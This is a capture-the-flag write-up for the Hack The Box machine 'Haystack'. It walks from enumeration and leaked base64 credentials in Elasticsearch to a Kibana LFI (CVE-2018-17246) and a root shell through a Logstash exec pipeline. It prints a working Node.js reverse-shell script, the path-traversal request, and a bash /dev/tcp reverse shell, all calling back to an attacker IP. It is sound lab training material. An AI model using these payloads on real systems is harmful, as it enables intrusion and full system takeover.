Haystack
This was my first HTB challenge, and funny coincidence, at work I was in a project involving the same product used on this machine.
Contents
Ports enumeration
root@kali:~/HTB/Haystack# nmap -sC -sV 10.10.10.115 -o nmap.txt # Nmap 7.80 scan initiated Fri Nov 1 05:19:07 2019 as: nmap -sC -sV -o nmap.txt 10.10.10.115 Nmap scan report for 10.10.10.115 Host is up (0.051s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA) | 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA) |_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519) 80/tcp open http nginx 1.12.2 |_http-server-header: nginx/1.12.2 |_http-title: Site doesn't have a title (text/html). 9200/tcp open http nginx 1.12.2 | http-methods: |_ Potentially risky methods: DELETE |_http-server-header: nginx/1.12.2 |_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Nov 1 05:19:27 2019 -- 1 IP address (1 host up) scanned in 19.91 seconds
Web Server (port 80)
root@kali:~/HTB/Machines/Haystack# curl haystack > port80.html % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 55 100 55 0 0 1486 0 --:--:-- --:--:-- --:--:-- 1486 root@kali:~/HTB/Machines/Haystack# cat port80.html <html> <body> <img src="needle.jpg" /> </body> </html>
The web page does not seem to give us too much information.
root@kali:~/HTB/Machines/Haystack# curl http://haystack/needle.jpg --output needle.jpg % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 178k 100 178k 0 0 1786k 0 --:--:-- --:--:-- --:--:-- 1804k
We try to see if there is hidden information inside the image.
root@kali:~/HTB/Machines/Haystack# strings needle.jpg JFIF Exif paint.net 4.1.1 UNICODE $3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz #3R &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz sc,x O9 x? Lg9$ ... BN2I ,'*' I$f2/<-iy bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
The last line seems to be base 64.
root@kali:~/HTB/Machines/Haystack# echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d
la aguja en el pajar es "clave"
I guess this hint should be useful.
Dirb does not give us usefull information.
root@kali:~/HTB/Haystack# dirb http://10.10.10.115 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Fri Nov 1 05:59:30 2019 URL_BASE: http://10.10.10.115/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt -----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.115/ ---- + http://10.10.10.115/index.html (CODE:200|SIZE:55)
----------------- END_TIME: Fri Nov 1 06:03:44 2019 DOWNLOADED: 4612 - FOUND: 1
Elasticsearch Port 9200
The port 9200 respond with a Json application Elasticsearch version 6.4.2
root@kali:~/HTB/Machines/Haystack# curl haystack:9200 { "name" : "iQEYHgS", "cluster_name" : "elasticsearch", "cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg", "version" : { "number" : "6.4.2", "build_flavor" : "default", "build_type" : "rpm", "build_hash" : "04711c2", "build_date" : "2018-09-26T13:34:09.098244Z", "build_snapshot" : false, "lucene_version" : "7.4.0", "minimum_wire_compatibility_version" : "5.6.0", "minimum_index_compatibility_version" : "5.0.0" }, "tagline" : "You Know, for Search" }
We list indices:
root@kali:~/HTB/Machines/Haystack# curl -X GET "haystack:9200/_cat/indices?v" health status index uuid pri rep docs.count docs.deleted store.size pri.store.size green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
Indices structure
Quotes index structure:
root@kali:~/HTB/Machines/Haystack# curl "haystack:9200/quotes?pretty" { "quotes" : { "aliases" : { }, "mappings" : { "quote" : { "properties" : { "quote" : { "type" : "text", "fields" : { "keyword" : { "type" : "keyword", "ignore_above" : 256 } } } } } }, "settings" : { "index" : { "creation_date" : "1549498467211", "number_of_shards" : "5", "number_of_replicas" : "1", "uuid" : "ZG2D1IqkQNiNZmi2HRImnQ", "version" : { "created" : "6040299" }, "provided_name" : "quotes" } } } }
Bank index structure:
root@kali:~/HTB/Machines/Haystack# curl "haystack:9200/bank?pretty" { "bank" : { "aliases" : { }, "mappings" : { "account" : { "properties" : { "account_number" : { "type" : "long" }, "address" : { "type" : "text", "fields" : { "keyword" : { "type" : "keyword", "ignore_above" : 256 } } }, "age" : { "type" : "long" }, "balance" : { "type" : "long" }, "city" : { "type" : "text", "fields" : { "keyword" : { "type" : "keyword", "ignore_above" : 256 } } }, "email" : { "type" : "text", "fields" : { "keyword" : { "type" : "keyword", "ignore_above" : 256 } } }, "employer" : { "type" : "text", "fields" : { "keyword" : { "type" : "keyword", "ignore_above" : 256 } } }, "firstname" : { "type" : "text", "fields" : { "keyword" : { "type" : "keyword", "ignore_above" : 256 } } }, "gender" : { "type" : "text", "fields" : { "keyword" : { "type" : "keyword", "ignore_above" : 256 } } }, "lastname" : { "type" : "text", "fields" : { "keyword" : { "type" : "keyword", "ignore_above" : 256 } } }, "state" : { "type" : "text", "fields" : { "keyword" : { "type" : "keyword", "ignore_above" : 256 } } } } } }, "settings" : { "index" : { "creation_date" : "1549498442094", "number_of_shards" : "5", "number_of_replicas" : "1", "uuid" : "eSVpNfCfREyYoVigNWcrMw", "version" : { "created" : "6040299" }, "provided_name" : "bank" } } } }
Databases download
We create a script to download the 253 quotes.
root@kali:~/HTB/Machines/Haystack# cat downloadquotes.sh #!/bin/bash
i=1 while [ $i -lt 254 ] do echo $i curl -X GET "haystack:9200/quotes/quote/$i?pretty" >> quotes.txt i=`expr $i + 1 ` done
And a second to download the 1000 accounts.
root@kali:~/HTB/Machines/Haystack# cat downloadbank.sh #!/bin/bash
i=1 while [ $i -lt 1001 ] do echo $i curl -X GET "haystack:9200/bank/account/$i?pretty" >> bank.txt i=`expr $i + 1 ` done
Find the needle in the haystack
After a long reading of bank.txt and quotes.txt, I found the following text:
{ "_index" : "quotes", "_type" : "quote", "_id" : "45", "_version" : 1, "found" : true, "_source" : { "quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg " } }
And a second "quote"
{ "_index" : "quotes", "_type" : "quote", "_id" : "111", "_version" : 1, "found" : true, "_source" : { "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=" } }
A better way to find the "needle" rather than read the full database is to use the "hint" on the image, and run a search with the keyword "clave".
root@kali:~/HTB/Machines/Haystack# curl -X GET "haystack:9200/_search?pretty" -H 'Content-Type: application/json' -d' { "query": { "match" : { "quote" : { "query" : "clave" } } } } ' { "took" : 50, "timed_out" : false, "_shards" : { "total" : 11, "successful" : 11, "skipped" : 0, "failed" : 0 }, "hits" : { "total" : 2, "max_score" : 5.9335938, "hits" : [ { "_index" : "quotes", "_type" : "quote", "_id" : "45", "_score" : 5.9335938, "_source" : { "quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg " } }, { "_index" : "quotes", "_type" : "quote", "_id" : "111", "_score" : 5.3459888, "_source" : { "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=" } } ] } }
We take a look at the base 64 text
root@kali:~/HTB/Haystack# echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d pass: spanish.is.key root@kali:~/HTB/Haystack# echo "dXNlcjogc2VjdXJpdHkg" | base64 -d user: security
User Flag
root@kali:~/HTB/Machines/Haystack# ssh security@haystack The authenticity of host 'haystack (10.10.10.115)' can't be established. ECDSA key fingerprint is SHA256:ihn2fPA4jrn1hytN0y9Z3vKpIKuL4YYe3yuESD76JeA. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'haystack,10.10.10.115' (ECDSA) to the list of known hosts. security@haystack's password: Last login: Wed Feb 6 20:53:59 2019 from 192.168.2.154 [security@haystack ~]$ cat user.txt <USER_FLAG>
Lateral movement
If we take a look at running processes:
- elasticsearch user
[security@haystack ~]$ ps -ef | grep elastic elastic+ 7251 1 0 09:57 ? 00:04:32 /bin/java -Xms1g -Xmx1g -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+AlwaysPreTouch -Xss1m -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djna.nosys=true -XX:-OmitStackTraceInFastThrow -Dio.netty.noUnsafe=true -Dio.netty.noKeySetOptimization=true -Dio.netty.recycler.maxCapacityPerThread=0 -Dlog4j.shutdownHookEnabled=false -Dlog4j2.disable.jmx=true -Djava.io.tmpdir=/tmp/elasticsearch.gQHh9XGA -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/lib/elasticsearch -XX:ErrorFile=/var/log/elasticsearch/hs_err_pid%p.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -Xloggc:/var/log/elasticsearch/gc.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=32 -XX:GCLogFileSize=64m -Des.path.home=/usr/share/elasticsearch -Des.path.conf=/etc/elasticsearch -Des.distribution.flavor=default -Des.distribution.type=rpm -cp /usr/share/elasticsearch/lib/* org.elasticsearch.bootstrap.Elasticsearch -p /var/run/elasticsearch/elasticsearch.pid --quiet elastic+ 15676 7251 0 09:58 ? 00:00:00 /usr/share/elasticsearch/modules/x-pack-ml/platform/linux-x86_64/bin/controller
- kibana user
[security@haystack ~]$ ps -ef | grep kibana
kibana 6411 1 0 09:57 ? 00:01:50 /usr/share/kibana/bin/../node/bin/node --no-warnings /usr/share/kibana/bin/../src/cli -c /etc/kibana/kibana.yml
- logstash
[security@haystack ~]$ ps -ef | grep logstash
root 6417 1 0 09:57 ? 00:04:25 /bin/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:/dev/urandom -cp /usr/share/logstash/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/error_prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/guava-22.0.jar:/usr/share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-core-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/janino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.expressions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.registry-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path.settings /etc/logstash
Logstash is running with user root. But after some search we find a Kibana vulnerability.
Kibana LFI
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
Kibana version is 6.4.2, so this version should be vulnerable at the LFI.
[security@haystack ~]$ cat /usr/share/kibana/package.json { "name": "kibana", "description": "Kibana is an open source (Apache Licensed), browser based analytics and search dashboard for Elasticsearch. Kibana is a snap to setup and start using. Kibana strives to be easy to get started with, while also being flexible and powerful, just like Elasticsearch.", "keywords": [ "kibana", "elasticsearch", "logstash", "analytics", "visualizations", "dashboards", "dashboarding" ], "version": "6.4.2", "branch": "6.4", "build": { "number": 18010, "sha": "33b5de37d73763319101b4ed11a6bd44f6ea03b5", "distributable": true }, "repository": { "type": "git", "url": "https://github.com/elastic/kibana.git" }, "engines": { "node": "8.11.4" } }
Looking at Kibana configuration, we find the listening port on localhost.
[security@haystack ~]$ cat /etc/kibana/kibana.yml | grep -v "#" | grep -v "^$" server.port: 5601 server.host: "127.0.0.1" elasticsearch.url: "http://localhost:9200"
Another way to find listening ports is using the ss command (because netstat isn't available).
[security@haystack ~]$ ss -4ln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.1:323 *:*
tcp LISTEN 0 128 *:80 *:*
tcp LISTEN 0 128 *:9200 *:*
tcp LISTEN 0 128 *:22 *:*
tcp LISTEN 0 128 127.0.0.1:5601 *:*
Javascript reverse shell
[security@haystack ~]$ cd /tmp/ [security@haystack tmp]$ vi shell.js [security@haystack tmp]$ cat shell.js (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1337, "10.10.14.34", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })();
Run listening netcat
root@kali:~/HTB/Machines/Haystack# nc -lvnp 1337 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337
Run LFI
[security@haystack tmp]$ curl -X GET "http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/shell.js"
The reverse shell is opened :)
root@kali:~/HTB/Machines/Haystack# nc -lvnp 1337 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 10.10.10.115. Ncat: Connection from 10.10.10.115:49098. whoami kibana python -c 'import pty; pty.spawn("/bin/bash")' bash-4.2$ <CTRL Z> [1]+ Stopped nc -lvnp 1337 root@kali:~/HTB/Machines/Haystack# stty rows 24 columns 80 root@kali:~/HTB/Machines/Haystack# stty raw -echo root@kali:~/HTB/Machines/Haystack# fg nc -lvnp 1337 export TERM=screen bash-4.2$
User escalation
From user Kibana, we need to escalate to user root using logstash.
Logstash configuration files
bash-4.2$ cd /etc/logstash/ bash-4.2$ cat pipelines.yml | grep -v "#" | grep -v "^$" - pipeline.id: main path.config: "/etc/logstash/conf.d/*.conf" bash-4.2$ cd conf.d/ bash-4.2$ cat input.conf input { file { path => "/opt/kibana/logstash_*" start_position => "beginning" sincedb_path => "/dev/null" stat_interval => "10 second" type => "execute" mode => "read" } } bash-4.2$ cat filter.conf filter { if [type] == "execute" { grok { match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" } } } } bash-4.2$ cat output.conf output { if [type] == "execute" { stdout { codec => json } exec { command => "%{comando} &" } } }
Kibana debugger
We create a ssh tunnel to access Kibana console:
root@kali:~# ssh -L 5601:127.0.0.1:5601 security@haystack security@haystack's password: Last login: Sun Nov 10 18:17:27 2019 from 10.10.14.34 [security@haystack ~]$
With help of Kibana's debugger, we see that the input file needs to be:
Ejecutar commando: bash -i >& /dev/tcp/10.10.14.34/8888 0>&1
Run listening netcat
root@kali:~/HTB/Machines/Haystack# nc -lvnp 8888 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::8888 Ncat: Listening on 0.0.0.0:8888
Create file
bash-4.2$ echo "Ejecutar comando : bash -i >& /dev/tcp/10.10.14.34/8888 0>&1" > /opt/kibana/logstash_rs bash-4.2$ cat /opt/kibana/logstash_rs Ejecutar comando : bash -i >& /dev/tcp/10.10.14.34/8888 0>&1
After a few second (even if it seems minutes), the reverse shell is opened :)
root@kali:~# nc -lvnp 8888 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::8888 Ncat: Listening on 0.0.0.0:8888 Ncat: Connection from 10.10.10.115. Ncat: Connection from 10.10.10.115:39686. bash: no hay control de trabajos en este shell [root@haystack /]# whoami whoami root
Root flag
[root@haystack /]# cat /root/root.txt <ROOT FLAG>
References
- ElasticSearch Commands Cheat Sheet
- Match query
- CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
- Reverse Shell Cheat Sheet
Daniel Simao 07:39, 10 November 2019 (EST)